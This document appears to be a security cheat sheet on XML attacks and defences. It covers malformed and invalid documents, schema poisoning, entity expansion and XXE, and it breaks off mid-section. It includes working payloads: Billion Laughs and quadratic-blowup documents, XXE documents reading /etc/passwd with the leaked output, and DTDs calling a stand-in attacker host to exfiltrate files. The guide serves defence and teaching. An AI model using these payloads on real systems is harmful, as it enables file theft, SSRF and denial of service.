XML Security Cheat Sheet

Introduction

Specifications for XML and XML schemas include multiple security flaws. At the same time, these specifications provide the tools required to protect XML applications. Even though we use XML schemas to define the security of XML documents, they can be used to perform a variety of attacks: file retrieval, server side request forgery, port scanning, or brute forcing. This cheat sheet exposes how to exploit the different possibilities in libraries and software divided in two sections:

- **Malformed XML Documents**: vulnerabilities using not well formed documents.
- **Invalid XML Documents**: vulnerabilities using documents that do not have the expected structure.

Malformed XML Documents

The W3C XML specification defines a set of principles that XML documents must follow to be considered well formed. When a document violates any of these principles, it must be considered a fatal error and the data it contains is considered malformed. Multiple tactics will cause a malformed document: removing an ending tag, rearranging the order of elements into a nonsensical structure, introducing forbidden characters, and so on. The XML parser should stop execution once detecting a fatal error. The document should not undergo any additional processing, and the application should display an error message.

The recommendation to avoid these vulnerabilities are to use an XML processor that follows W3C specifications and does not take significant additional time to process malformed documents. In addition, use only well-formed documents and validate the contents of each element and attribute to process only valid values within predefined boundaries.

More Time Required

A malformed document may affect the consumption of Central Processing Unit (CPU) resources. In certain scenarios, the amount of time required to process malformed documents may be greater than that required for well-formed documents. When this happens, an attacker may exploit an asymmetric resource consumption attack to take advantage of the greater processing time to cause a Denial of Service (DoS).

To analyze the likelihood of this attack, analyze the time taken by a regular XML document vs the time taken by a malformed version of that same document. Then, consider how an attacker could use this vulnerability in conjunction with an XML flood attack using multiple documents to amplify the effect.

Applications Processing Malformed Data

Certain XML parsers have the ability to recover malformed documents. They can be instructed to try their best to return a valid tree with all the content that they can manage to parse, regardless of the document's noncompliance with the specifications. Since there are no predefined rules for the recovery process, the approach and results may not always be the same. Using malformed documents might lead to unexpected issues related to data integrity.

The following two scenarios illustrate attack vectors a parser will analyze in recovery mode:

Malformed Document to Malformed Document

According to the XML specification, the string `--` (double-hyphen) must not occur within comments. Using the recovery mode of lxml and PHP, the following document will remain the same after being recovered:

```
<element>
 <!-- one
  <!-- another comment
 comment -->
</element>
```

Well-Formed Document to Well-Formed Document Normalized

Certain parsers may consider normalizing the contents of your `CDATA` sections. This means that they will update the special characters contained in the `CDATA` section to contain the safe versions of these characters even though is not required:

```
<element>
 <![CDATA[<script>a=1;</script>]]>
</element>
```

Normalization of a `CDATA` section is not a common rule among parsers. Libxml could transform this document to its canonical version, but although well formed, its contents may be considered malformed depending on the situation:

```
<element>
 &lt;script&gt;a=1;&lt;/script&gt;
</element>
```

Coercive Parsing

A coercive attack in XML involves parsing deeply nested XML documents without their corresponding ending tags. The idea is to make the victim use up -and eventually deplete- the machine's resources and cause a denial of service on the target. Reports of a DoS attack in Firefox 3.67 included the use of 30,000 open XML elements without their corresponding ending tags. Removing the closing tags simplified the attack since it requires only half of the size of a well-formed document to accomplish the same results. The number of tags being processed eventually caused a stack overflow. A simplified version of such a document would look like this:

```
<A1>
 <A2>
  <A3>
   ...
    <A30000>
```

Violation of XML Specification Rules

Unexpected consequences may result from manipulating documents using parsers that do not follow W3C specifications. It may be possible to achieve crashes and/or code execution when the software does not properly verify how to handle incorrect XML structures. Feeding the software with fuzzed XML documents may expose this behavior.

Invalid XML Documents

Attackers may introduce unexpected values in documents to take advantage of an application that does not verify whether the document contains a valid set of values. Schemas specify restrictions that help identify whether documents are valid. A valid document is well formed and complies with the restrictions of a schema, and more than one schema can be used to validate a document. These restrictions may appear in multiple files, either using a single schema language or relying on the strengths of the different schema languages.

The recommendation to avoid these vulnerabilities is that each XML document must have a precisely defined XML Schema (not DTD) with every piece of information properly restricted to avoid problems of improper data validation. Use a local copy or a known good repository instead of the schema reference supplied in the XML document. Also, perform an integrity check of the XML schema file being referenced, bearing in mind the possibility that the repository could be compromised. In cases where the XML documents are using remote schemas, configure servers to use only secure, encrypted communications to prevent attackers from eavesdropping on network traffic.

Document without Schema

Consider a bookseller that uses a web service through a web interface to make transactions. The XML document for transactions is composed of two elements: an `id` value related to an item and a certain `price`. The user may only introduce a certain `id` value using the web interface:

```
<buy>
 <id>123</id>
 <price>10</price>
</buy>
```

If there is no control on the document's structure, the application could also process different well-formed messages with unintended consequences. The previous document could have contained additional tags to affect the behavior of the underlying application processing its contents:

```
<buy>
 <id>123</id><price>0</price><id></id>
 <price>10</price>
</buy>
```

Notice again how the value 123 is supplied as an `id`, but now the document includes additional opening and closing tags. The attacker closed the `id` element and sets a bogus `price` element to the value 0. The final step to keep the structure well-formed is to add one empty `id` element. After this, the application adds the closing tag for `id` and set the `price` to 10. If the application processes only the first values provided for the ID and the value without performing any type of control on the structure, it could benefit the attacker by providing the ability to buy a book without actually paying for it.

Unrestrictive Schema

Certain schemas do not offer enough restrictions for the type of data that each element can receive. This is what normally happens when using DTD; it has a very limited set of possibilities compared to the type of restrictions that can be applied in XML documents. This could expose the application to undesired values within elements or attributes that would be easy to constrain when using other schema languages. In the following example, a person's `age` is validated against an inline DTD schema:

```
<!DOCTYPE person [
 <!ELEMENT person (name, age)>
 <!ELEMENT name (#PCDATA)>
 <!ELEMENT age (#PCDATA)>
]>
<person>
 <name>John Doe</name>
 <age>11111..(1.000.000digits)..11111</age>
</person>
```

The previous document contains an inline DTD with a root element named `person`. This element contains two elements in a specific order: `name` and then `age`. The element `name` is then defined to contain `PCDATA` as well as the element `age`. After this definition begins the well-formed and valid XML document. The element name contains an irrelevant value but the `age` element contains one million digits. Since there are no restrictions on the maximum size for the `age` element, this one-million-digit string could be sent to the server for this element. Typically this type of element should be restricted to contain no more than a certain amount of characters and constrained to a certain set of characters (for example, digits from 0 to 9, the + sign and the - sign). If not properly restricted, applications may handle potentially invalid values contained in documents. Since it is not possible to indicate specific restrictions (a maximum length for the element `name` or a valid range for the element `age`), this type of schema increases the risk of affecting the integrity and availability of resources.

Improper Data Validation

When schemas are insecurely defined and do not provide strict rules, they may expose the application to diverse situations. The result of this could be the disclosure of internal errors or documents that hit the application's functionality with unexpected values.

String Data Types

Provided you need to use a hexadecimal value, there is no point in defining this value as a string that will later be restricted to the specific 16 hexadecimal characters. To exemplify this scenario, when using XML encryption some values must be encoded using base64 . This is the schema definition of how these values should look:

```
<element name="CipherData" type="xenc:CipherDataType"/>
 <complexType name="CipherDataType">
  <choice>
   <element name="CipherValue" type="base64Binary"/>
   <element ref="xenc:CipherReference"/>
  </choice>
 </complexType>
```

The previous schema defines the element `CipherValue` as a base64 data type. As an example, the IBM WebSphere DataPower SOA Appliance allowed any type of characters within this element after a valid base64 value, and will consider it valid. The first portion of this data is properly checked as a base64 value, but the remaining characters could be anything else (including other sub-elements of the `CipherData` element). Restrictions are partially set for the element, which means that the information is probably tested using an application instead of the proposed sample schema.

Numeric Data Types

Defining the correct data type for numbers can be more complex since there are more options than there are for strings.

NEGATIVE AND POSITIVE RESTRICTIONS

XML Schema numeric data types can include different ranges of numbers. They could include:

- **negativeInteger**: Only negative numbers
- **nonNegativeInteger**: Positive numbers and the zero value
- **positiveInteger**: Only positive numbers
- **nonPositiveInteger**: Negative numbers and the zero value

The following sample document defines an `id` for a product, a `price`, and a `quantity` value that is under the control of an attacker:

```
<buy>
 <id>1</id>
 <price>10</price>
 <quantity>1</quantity>
</buy>
```

To avoid repeating old errors, an XML schema may be defined to prevent processing the incorrect structure in cases where an attacker wants to introduce additional elements:

```
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="buy">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="id" type="xs:integer"/>
    <xs:element name="price" type="xs:decimal"/>
    <xs:element name="quantity" type="xs:integer"/>
   </xs:sequence>
  </xs:complexType>
 </xs:element>
</xs:schema>
```

Limiting that `quantity` to an integer data type will avoid any unexpected characters. Once the application receives the previous message, it may calculate the final price by doing `price*quantity`. However, since this data type may allow negative values, it might allow a negative result on the user's account if an attacker provides a negative number. What you probably want to see in here to avoid that logical vulnerability is positiveInteger instead of integer.

DIVIDE BY ZERO

Whenever using user controlled values as denominators in a division, developers should avoid allowing the number zero. In cases where the value zero is used for division in XSLT, the error

`FOAR0001` will occur. Other applications may throw other exceptions and the program may crash. There are specific data types for XML schemas that specifically avoid using the zero value. For example, in cases where negative values and zero are not considered valid, the schema could specify the data type `positiveInteger` for the element.

```
<xs:element name="denominator">
 <xs:simpleType>
  <xs:restriction base="xs:positiveInteger"/>
 </xs:simpleType>
</xs:element>
```

The element `denominator` is now restricted to positive integers. This means that only values greater than zero will be considered valid. If you see any other type of restriction being used, you may trigger an error if the denominator is zero.

SPECIAL VALUES: INFINITY AND NOT A NUMBER (NAN)

The data types `float` and `double` contain real numbers and some special values: `-Infinity` or `-INF`, `NaN`, and `+Infinity` or `INF`. These possibilities may be useful to express certain values, but they are sometimes misused. The problem is that they are commonly used to express only real numbers such as prices. This is a common error seen in other programming languages, not solely restricted to these technologies. Not considering the whole spectrum of possible values for a data type could make underlying applications fail. If the special values `Infinity` and `NaN` are not required and only real numbers are expected, the data type `decimal` is recommended:

```
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="buy">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="id" type="xs:integer"/>
    <xs:element name="price" type="xs:decimal"/>
    <xs:element name="quantity" type="xs:positiveInteger"/>
   </xs:sequence>
  </xs:complexType>
 </xs:element>
</xs:schema>
```

The price value will not trigger any errors when set at Infinity or NaN, because these values will not be valid. An attacker can exploit this issue if those values are allowed.

General Data Restrictions

After selecting the appropriate data type, developers may apply additional restrictions. Sometimes only a certain subset of values within a data type will be considered valid:

PREFIXED VALUES

Certain types of values should only be restricted to specific sets: traffic lights will have only three types of colors, only 12 months are available, and so on. It is possible that the schema has these restrictions in place for each element or attribute. This is the most perfect allow-list scenario for an application: only specific values will be accepted. Such a constraint is called `enumeration` in XML schema. The following example restricts the contents of the element month to 12 possible values:

```
<xs:element name="month">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:enumeration value="January"/>
   <xs:enumeration value="February"/>
   <xs:enumeration value="March"/>
   <xs:enumeration value="April"/>
   <xs:enumeration value="May"/>
   <xs:enumeration value="June"/>
   <xs:enumeration value="July"/>
   <xs:enumeration value="August"/>
   <xs:enumeration value="September"/>
   <xs:enumeration value="October"/>
   <xs:enumeration value="November"/>
   <xs:enumeration value="December"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
```

By limiting the month element's value to any of the previous values, the application will not be manipulating random strings.

RANGES

Software applications, databases, and programming languages normally store information within specific ranges. Whenever using an element or an attribute in locations where certain specific sizes matter (to avoid overflows or underflows), it would be logical to check whether the data length is considered valid. The following schema could constrain a name using a minimum and a maximum length to avoid unusual scenarios:

```
<xs:element name="name">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:minLength value="3"/>
   <xs:maxLength value="256"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
```

In cases where the possible values are restricted to a certain specific length (let's say 8), this value can be specified as follows to be valid:

```
<xs:element name="name">
 <xs:simpleType>
  <xs:restriction base="xs:string">
   <xs:length value="8"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
```

PATTERNS

Certain elements or attributes may follow a specific syntax. You can add `pattern` restrictions when using XML schemas. When you want to ensure that the data complies with a specific pattern, you can create a specific definition for it. Social security numbers (SSN) may serve as a good example; they must use a specific set of characters, a specific length, and a specific `pattern`:

```
<xs:element name="SSN">
 <xs:simpleType>
  <xs:restriction base="xs:token">
   <xs:pattern value="[0-9]{3}-[0-9]{2}-[0-9]{4}"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
```

Only numbers between `000-00-0000` and `999-99-9999` will be allowed as values for a SSN.

ASSERTIONS

Assertion components constrain the existence and values of related elements and attributes on XML schemas. An element or attribute will be considered valid with regard to an assertion only if the test evaluates to true without raising any error. The variable `$value` can be used to reference the contents of the value being analyzed. The *Divide by Zero* section above referenced the potential consequences of using data types containing the zero value for denominators, proposing a data type containing only positive values. An opposite example would consider valid the entire range of numbers except zero. To avoid disclosing potential errors, values could be checked using an `assertion` disallowing the number zero:

```
<xs:element name="denominator">
 <xs:simpleType>
  <xs:restriction base="xs:integer">
   <xs:assertion test="$value != 0"/>
  </xs:restriction>
 </xs:simpleType>
</xs:element>
```

The assertion guarantees that the `denominator` will not contain the value zero as a valid number and also allows negative numbers to be a valid denominator.

OCCURRENCES

The consequences of not defining a maximum number of occurrences could be worse than coping with the consequences of what may happen when receiving extreme numbers of items to be processed. Two attributes specify minimum and maximum limits: `minOccurs` and `maxOccurs`. The default value for both the `minOccurs` and the `maxOccurs` attributes is `1`, but certain elements may require other values. For instance, if a value is optional, it could contain a `minOccurs` of 0, and if there is no limit on the maximum amount, it could contain a `maxOccurs` of `unbounded`, as in the following example:

```
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
 <xs:element name="operation">
  <xs:complexType>
   <xs:sequence>
    <xs:element name="buy" maxOccurs="unbounded">
     <xs:complexType>
      <xs:all>
       <xs:element name="id" type="xs:integer"/>
       <xs:element name="price" type="xs:decimal"/>
       <xs:element name="quantity" type="xs:integer"/>
      </xs:all>
     </xs:complexType>
    </xs:element>
  </xs:complexType>
 </xs:element>
</xs:schema>
```

The previous schema includes a root element named `operation`, which can contain an unlimited (`unbounded`) amount of buy elements. This is a common finding, since developers do not normally want to restrict maximum numbers of occurrences. Applications using limitless occurrences should test what happens when they receive an extremely large amount of elements to be processed. Since computational resources are limited, the consequences should be analyzed and eventually a maximum number ought to be used instead of an `unbounded` value.

Jumbo Payloads

Sending an XML document of 1GB requires only a second of server processing and might not be worth consideration as an attack. Instead, an attacker would look for a way to minimize the CPU and traffic used to generate this type of attack, compared to the overall amount of server CPU or traffic used to handle the requests.

Traditional Jumbo Payloads

There are two primary methods to make a document larger than normal:

- Depth attack: using a huge number of elements, element names, and/or element values.

- Width attack: using a huge number of attributes, attribute names, and/or attribute values.

In most cases, the overall result will be a huge document. This is a short example of what this looks like:

```
<SOAPENV:ENVELOPE XMLNS:SOAPENV="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/"

XMLNS:EXT="HTTP://COM/IBM/WAS/WSSAMPLE/SEI/ECHO/B2B/EXTERNAL">
 <SOAPENV:HEADER LARGENAME1="LARGEVALUE"
                 LARGENAME2="LARGEVALUE2"
                 LARGENAME3="LARGEVALUE3" …>
 ...
```

"Small" Jumbo Payloads

The following example is a very small document, but the results of processing this could be similar to those of processing traditional jumbo payloads. The purpose of such a small payload is that it allows an attacker to send many documents fast enough to make the application consume most or all of the available resources:

```
<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY file SYSTEM "http://attacker/huge.xml" >
]>
<root>&file;</root>
```

Schema Poisoning

When an attacker is capable of introducing modifications to a schema, there could be multiple high-risk consequences. In particular, the effect of these consequences will be more dangerous if the schemas are using DTD (e.g., file retrieval, denial of service). An attacker could exploit this type of vulnerability in numerous scenarios, always depending on the location of the schema.

Local Schema Poisoning

Local schema poisoning happens when schemas are available in the same host, whether or not the schemas are embedded in the same XML document .

EMBEDDED SCHEMA

The most trivial type of schema poisoning takes place when the schema is defined within the same XML document. Consider the following, unknowingly vulnerable example provided by the W3C :

```
<?xml version="1.0"?>
<!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>
```

```
 <!ELEMENT to (#PCDATA)>
 <!ELEMENT from (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
]>
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>
```

All restrictions on the note element could be removed or altered, allowing the sending of any type of data to the server. Furthermore, if the server is processing external entities, the attacker could use the schema, for example, to read remote files from the server. This type of schema only serves as a suggestion for sending a document, but it must contain a way to check the embedded schema integrity to be used safely. Attacks through embedded schemas are commonly used to exploit external entity expansions. Embedded XML schemas can also assist in port scans of internal hosts or brute force attacks.

INCORRECT PERMISSIONS

You can often circumvent the risk of using remotely tampered versions by processing a local schema.

```
<!DOCTYPE note SYSTEM "note.dtd">
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>
```

However, if the local schema does not contain the correct permissions, an internal attacker could alter the original restrictions. The following line exemplifies a schema using permissions that allow any user to make modifications:

```
-rw-rw-rw-  1 user  staff  743 Jan 15 12:32 note.dtd
```

The permissions set on `name.dtd` allow any user on the system to make modifications. This vulnerability is clearly not related to the structure of an XML or a schema, but since these documents are commonly stored in the filesystem, it is worth mentioning that an attacker could exploit this type of problem.

Remote Schema Poisoning

Schemas defined by external organizations are normally referenced remotely. If capable of diverting or accessing the network's traffic, an attacker could cause a victim to fetch a distinct

type of content rather than the one originally intended.

MAN-IN-THE-MIDDLE (MITM) ATTACK

When documents reference remote schemas using the unencrypted Hypertext Transfer Protocol (HTTP), the communication is performed in plain text and an attacker could easily tamper with traffic. When XML documents reference remote schemas using an HTTP connection, the connection could be sniffed and modified before reaching the end user:

```
<!DOCTYPE note SYSTEM "http://example.com/note.dtd">
<note>
 <to>Tove</to>
 <from>Jani</from>
 <heading>Reminder</heading>
 <body>Don't forget me this weekend</body>
</note>
```

The remote file `note.dtd` could be susceptible to tampering when transmitted using the unencrypted HTTP protocol. One tool available to facilitate this type of attack is mitmproxy .

DNS-CACHE POISONING

Remote schema poisoning may also be possible even when using encrypted protocols like Hypertext Transfer Protocol Secure (HTTPS). When software performs reverse Domain Name System (DNS) resolution on an IP address to obtain the hostname, it may not properly ensure that the IP address is truly associated with the hostname. In this case, the software enables an attacker to redirect content to their own Internet Protocol (IP) addresses.

The previous example referenced the host `example.com` using an unencrypted protocol.

When switching to HTTPS, the location of the remote schema will look like `https://example/note.dtd`. In a normal scenario, the IP of `example.com` resolves to `1.1.1.1`:

```
$ host example.com
example.com has address 1.1.1.1
```

If an attacker compromises the DNS being used, the previous hostname could now point to a new, different IP controlled by the attacker `2.2.2.2`:

```
$ host example.com
example.com has address 2.2.2.2
```

When accessing the remote file, the victim may be actually retrieving the contents of a location controlled by an attacker.

EVIL EMPLOYEE ATTACK

When third parties host and define schemas, the contents are not under the control of the schemas' users. Any modifications introduced by a malicious employee-or an external attacker in control of these files-could impact all users processing the schemas. Subsequently, attackers could affect the confidentiality, integrity, or availability of other services (especially if the schema in use is DTD).

XML Entity Expansion

If the parser uses a DTD, an attacker might inject data that may adversely affect the XML parser during document processing. These adverse effects could include the parser crashing or accessing local files.

Sample Vulnerable Java Implementations

Using the DTD capabilities of referencing local or remote files it is possible to affect the confidentiality. In addition, it is also possible to affect the availability of the resources if no proper restrictions have been set for the entities expansion. Consider the following example code of an XXE.

Sample XML:

```
<!DOCTYPE contacts SYSTEM "contacts.dtd">
<contacts>
 <contact>
  <firstname>John</firstname>
  <lastname>&xxe;</lastname>
 </contact>
</contacts>
```

Sample DTD:

```
<!ELEMENT contacts (contact*)>
<!ELEMENT contact (firstname,lastname)>
<!ELEMENT firstname (#PCDATA)>
<!ELEMENT lastname ANY>
<!ENTITY xxe SYSTEM "/etc/passwd">
```

XXE USING DOM

```
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.InputSource;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
```

```
public class parseDocument {
 public static void main(String[] args) {
  try {
   DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
   DocumentBuilder builder = factory.newDocumentBuilder();
   Document doc = builder.parse(new InputSource("contacts.xml"));
   NodeList nodeList = doc.getElementsByTagName("contact");
   for (int s = 0; s < nodeList.getLength(); s++) {
     Node firstNode = nodeList.item(s);
     if (firstNode.getNodeType() == Node.ELEMENT_NODE) {
       Element firstElement = (Element) firstNode;
       NodeList firstNameElementList =
firstElement.getElementsByTagName("firstname");
       Element firstNameElement = (Element) firstNameElementList.item(0);
       NodeList firstName = firstNameElement.getChildNodes();
       System.out.println("First Name: "  + ((Node)
firstName.item(0)).getNodeValue());
       NodeList lastNameElementList =
firstElement.getElementsByTagName("lastname");
       Element lastNameElement = (Element) lastNameElementList.item(0);
       NodeList lastName = lastNameElement.getChildNodes();
       System.out.println("Last Name: " + ((Node)
lastName.item(0)).getNodeValue());
     }
    }
  } catch (Exception e) {
    e.printStackTrace();
  }
 }
}
```

The previous code produces the following output:

```
$ javac parseDocument.java ; java parseDocument
First Name: John
Last Name: ### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
```

XXE USING DOM4J

```
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.io.SAXReader;
import org.dom4j.io.OutputFormat;
import org.dom4j.io.XMLWriter;

public class test1 {
 public static void main(String[] args) {
  Document document = null;
  try {
```

```
    SAXReader reader = new SAXReader();
    document = reader.read("contacts.xml");
   } catch (Exception e) {
    e.printStackTrace();
   }
   OutputFormat format = OutputFormat.createPrettyPrint();
   try {
    XMLWriter writer = new XMLWriter( System.out, format );
    writer.write( document );
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
}
```

The previous code produces the following output:

```
$ java test1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE contacts SYSTEM "contacts.dtd">

<contacts>
 <contact>
  <firstname>John</firstname>
  <lastname>### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
```

XXE USING SAX

```
import java.io.IOException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

public class parseDocument extends DefaultHandler {
 public static void main(String[] args) {
  new parseDocument();
 }
 public parseDocument() {
  try {
   SAXParserFactory factory = SAXParserFactory.newInstance();
   SAXParser parser = factory.newSAXParser();
   parser.parse("contacts.xml", this);
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
 @Override
 public void characters(char[] ac, int i, int j) throws SAXException {
  String tmpValue = new String(ac, i, j);
```

```
  System.out.println(tmpValue);
 }
}
```

The previous code produces the following output:

```
$ java parseDocument
John
#### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
```

XXE USING STAX

```
import javax.xml.parsers.SAXParserFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.stream.XMLInputFactory;
import java.io.File;
import java.io.FileReader;
import java.io.FileInputStream;

public class parseDocument {
 public static void main(String[] args) {
  try {
   XMLInputFactory xmlif = XMLInputFactory.newInstance();
   FileReader fr = new FileReader("contacts.xml");
   File file = new File("contacts.xml");
   XMLStreamReader xmlfer = xmlif.createXMLStreamReader("contacts.xml",
                                          new FileInputStream(file));
   int eventType = xmlfer.getEventType();
   while (xmlfer.hasNext()) {
    eventType = xmlfer.next();
    if(xmlfer.hasText()){
     System.out.print(xmlfer.getText());
    }
   }
   fr.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}
```

The previous code produces the following output:

```
$ java parseDocument
<!DOCTYPE contacts SYSTEM "contacts.dtd">John### User Database
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
```

Recursive Entity Reference

When the definition of an element `A` is another element `B`, and that element `B` is defined as element `A`, that schema describes a circular reference between elements:

```
<!DOCTYPE A [
 <!ELEMENT A ANY>
 <!ENTITY A "<A>&B;</A>">
 <!ENTITY B "&A;">
]>
<A>&A;</A>
```

Quadratic Blowup

Instead of defining multiple small, deeply nested entities, the attacker in this scenario defines one very large entity and refers to it as many times as possible, resulting in a quadratic expansion (*O(n^2)*).

The result of the following attack will be 100,000 x 100,000 characters in memory.

```
<!DOCTYPE root [
 <!ELEMENT root ANY>
 <!ENTITY A "AAAAA...(a 100.000 A's)...AAAAA">
]>
<root>&A;&A;&A;&A;...(a 100.000 &A;'s)...&A;&A;&A;&A;&A;</root>
```

Billion Laughs

When an XML parser tries to resolve the external entities included within the following code, it will cause the application to start consuming all of the available memory until the process crashes. This is an example XML document with an embedded DTD schema including the attack:

```
<!DOCTYPE root [
 <!ELEMENT root ANY>
 <!ENTITY LOL "LOL">
 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
 <!ENTITY LOL2
"&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
 <!ENTITY LOL3
"&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
 <!ENTITY LOL4
"&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
 <!ENTITY LOL5
"&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
 <!ENTITY LOL6
"&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
 <!ENTITY LOL7
"&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
 <!ENTITY LOL8
```

```
"&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
 <!ENTITY LOL9
"&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<root>&LOL9;</root>
```

The entity `LOL9` will be resolved as the 10 entities defined in `LOL8`; then each of these entities will be resolved in `LOL7` and so on. Finally, the CPU and/or memory will be affected by parsing the `3 x 10^9` (3,000,000,000) entities defined in this schema, which could make the parser crash.

The Simple Object Access Protocol (SOAP) specification forbids DTDs completely. This means that a SOAP processor can reject any SOAP message that contains a DTD. Despite this specification, certain SOAP implementations did parse DTD schemas within SOAP messages.

The following example illustrates a case where the parser is not following the specification, enabling a reference to a DTD in a SOAP message:

```
<?XML VERSION="1.0" ENCODING="UTF-8"?>
<!DOCTYPE SOAP-ENV:ENVELOPE [
 <!ELEMENT SOAP-ENV:ENVELOPE ANY>
 <!ATTLIST SOAP-ENV:ENVELOPE ENTITYREFERENCE CDATA #IMPLIED>
 <!ENTITY LOL "LOL">
 <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
 <!ENTITY LOL2
"&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
 <!ENTITY LOL3
"&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
 <!ENTITY LOL4
"&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
 <!ENTITY LOL5
"&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
 <!ENTITY LOL6
"&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
 <!ENTITY LOL7
"&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
 <!ENTITY LOL8
"&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
 <!ENTITY LOL9
"&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
]>
<SOAP:ENVELOPE ENTITYREFERENCE="&LOL9;"
               XMLNS:SOAP="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/">
 <SOAP:BODY>
  <KEYWORD XMLNS="URN:PARASOFT:WS:STORE">FOO</KEYWORD>
 </SOAP:BODY>
</SOAP:ENVELOPE>
```

Reflected File Retrieval

Consider the following example code of an XXE:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [
 <!ELEMENT includeme ANY>
 <!ENTITY xxe SYSTEM "/etc/passwd">
]>
<root>&xxe;</root>
```

The previous XML defines an entity named `xxe`, which is in fact the contents of `/etc/passwd`, which will be expanded within the `includeme` tag. If the parser allows references to external entities, it might include the contents of that file in the XML response or in the error output.

Server Side Request Forgery

Server Side Request Forgery (SSRF) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file, a file via HTTP/HTTPS/FTP, etc. SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.

EXTERNAL DNS RESOLUTION

Sometimes is possible to induce the application to perform server-side DNS lookups of arbitrary domain names. This is one of the simplest forms of SSRF, but requires the attacker to analyze the DNS traffic. Burp has a plugin that checks for this attack.

```
<!DOCTYPE m PUBLIC "-//B/A/EN"
"http://checkforthisspecificdomain.example.com">
```

EXTERNAL CONNECTION

Whenever there is an XXE and you cannot retrieve a file, you can test if you would be able to establish remote connections:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
 <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">
 %xxe;
]>
```

FILE RETRIEVAL WITH PARAMETER ENTITIES

Parameter entities allows for the retrieval of content using URL references. Consider the following malicious XML document:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
 %dtd;
```

```
]>
<root>&send;</root>
```

Here the DTD defines two external parameter entities: `file` loads a local file, and `dtd` which loads a remote DTD. The remote DTD should contain something like this:

